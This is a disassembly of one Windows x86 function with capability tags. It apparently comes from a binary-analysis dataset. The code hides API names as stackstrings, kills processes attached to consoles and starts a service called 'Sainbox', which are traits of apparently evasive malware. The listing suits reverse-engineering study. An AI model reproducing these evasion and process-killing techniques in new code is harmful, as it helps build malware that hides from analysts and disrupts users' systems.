Function at 0x41ad30
Capabilities:
Check os version
Contain obfuscated stackstrings
Get session information
Get session user name
Resolve function by parsing pe exports
Start service
Terminate process

Disassembly:
sub esp, 0x634
mov al, 0x45
push ebx
mov byte [esp + 9], al
mov byte [esp + 0xc], al
lea eax, [esp + 0x3c]
lea ecx, [esp + 8]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x12], 0x52
mov byte [esp + 0x13], 0x4e
mov byte [esp + 0x15], 0x4c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0
mov byte [esp + 0x44], 0x50
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x73
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x49
mov byte [esp + 0x4c], 0x64
mov byte [esp + 0x4d], 0x54
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x53
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x73
mov byte [esp + 0x52], 0x73
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x54], 0x6f
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], 0x49
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0
call fcn.00419b40
mov dword [esp + 0x94], eax
lea edx, [esp + 0x5c]
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x64], 0x57
mov byte [esp + 0x65], 0x54
mov byte [esp + 0x66], 0x53
mov byte [esp + 0x67], 0x47
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x74
mov byte [esp + 0x6a], 0x41
mov byte [esp + 0x6b], 0x63
mov byte [esp + 0x6c], 0x74
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x76
mov byte [esp + 0x6f], bl
mov byte [esp + 0x70], 0x43
mov byte [esp + 0x71], 0x6f
mov byte [esp + 0x72], 0x6e
mov byte [esp + 0x73], 0x73
mov byte [esp + 0x74], 0x6f
mov byte [esp + 0x75], 0x6c
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0x53
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x73
mov byte [esp + 0x7a], 0x73
mov byte [esp + 0x7b], 0x69
mov byte [esp + 0x7c], 0x6f
mov byte [esp + 0x7d], 0x6e
mov byte [esp + 0x7e], 0x49
mov byte [esp + 0x7f], 0x64
mov byte [esp + 0x80], 0
call fcn.00419b40
mov dword [esp + 0xa0], eax
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x56
lea ecx, [esp + 0x38]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x33], 0x41
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x49
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x53
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x76
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x63
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x53
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4e], 0x75
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0
call fcn.00419b40
mov dword [esp + 0x94], eax
mov eax, dword [0x50e2ec]
xor ebx, ebx
add esp, 0x18
cmp eax, ebx
jne 0x41b2a9
cmp dword [0x50e2e4], ebx
je 0x41b2a9
push ebp
push esi
lea eax, [esp + 0xa0]
push edi
push eax
mov dword [esp + 0xa8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xb0]
lea edx, [esp + 0xac]
push ecx
lea eax, [esp + 0xac]
push edx
push eax
call fcn.00418ee0
add esp, 0xc
lea ecx, [esp + 0x140]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x140]
lea eax, [esp + 0x244]
push edx
push str._s__acsi
push eax
call fcn.0042cdcc
add esp, 0xc
mov dword [esp + 0x80], ebx
mov ecx, dword [esp + 0x648]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [esp + 0xa0]
test eax, eax
je 0x41afd8
call dword [esp + 0x9c]
cmp eax, 0xffffffff
je 0x41afd8
cmp dword [esp + 0x80], eax
je 0x41afd8
lea ecx, [esp + 0x90]
lea edx, [esp + 0x84]
push ecx
push edx
push 5
push eax
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0xa0], str._rsvc
mov dword [esp + 0x98], ebx
mov dword [esp + 0xa4], ebx
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x41b074
mov edx, dword [esp + 0x84]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x41b06c
mov dword [esp + 0x10], 1
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x41b07c
mov dword [esp + 0x10], 1
cmp dword [0x51eb10], ebx
je 0x41b08e
cmp dword [esp + 0x10], ebx
jne 0x41afd8
mov eax, dword [0x51eb64]
mov edi, dword [eax]
cmp edi, eax
je 0x41b1ae
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x41b0bf
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x41b0ad
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0xa0]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x41b145
lea eax, [esi*4]
push eax
call fcn.004a2adf
add esp, 4
mov ebx, eax
mov dword [esp + 0x94], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x41b13a
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x41b12d
cmp esi, dword [edi + 0xc]
je 0x41b12d
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b12d
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x41b0fb
mov ebx, dword [esp + 0x94]
push ebx
call fcn.004a2b08
add esp, 4
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x41b15f
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x41b151
mov ecx, dword [edi + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x51e4c0]
cmp ecx, edx
je 0x41b189
mov eax, dword [ecx]
cmp eax, edx
je 0x41b185
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x41b17d
mov edi, ecx
jmp 0x41b1a2
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x41b19b
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x41b191
cmp dword [edi + 8], eax
je 0x41b1a2
mov edi, eax
cmp edi, dword [0x51eb64]
jne 0x41b09d
mov edx, dword [0x51eb04]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [0x51eb08]
push eax
call esi
cmp dword [0x51eb10], ebx
jne 0x41b253
mov eax, dword [esp + 0xa8]
cmp eax, 6
jne 0x41b1ed
cmp dword [esp + 0xac], 2
jae 0x41b286
jmp 0x41b1f3
ja 0x41b286
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
je 0x41afd8
push 0x10
push str.Sainbox
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x41b22a
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41afd8
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x8c]
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x41b29a
call esi
push edi
call esi
jmp 0x41afd8
lea eax, [esp + 0x244]
push eax
push ebx
call fcn.0041a460
add esp, 8
push eax
call esi
mov ecx, dword [0x51eb10]
push 0x51e6e0
push ecx
mov dword [0x51e6e4], 1
call dword [esp + 0x90]
jmp 0x41b29f
lea edx, [esp + 0x244]
push edx
push ebx
call fcn.0041a460
add esp, 8
push eax
jmp 0x41b29d
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop ebx
add esp, 0x634
ret 4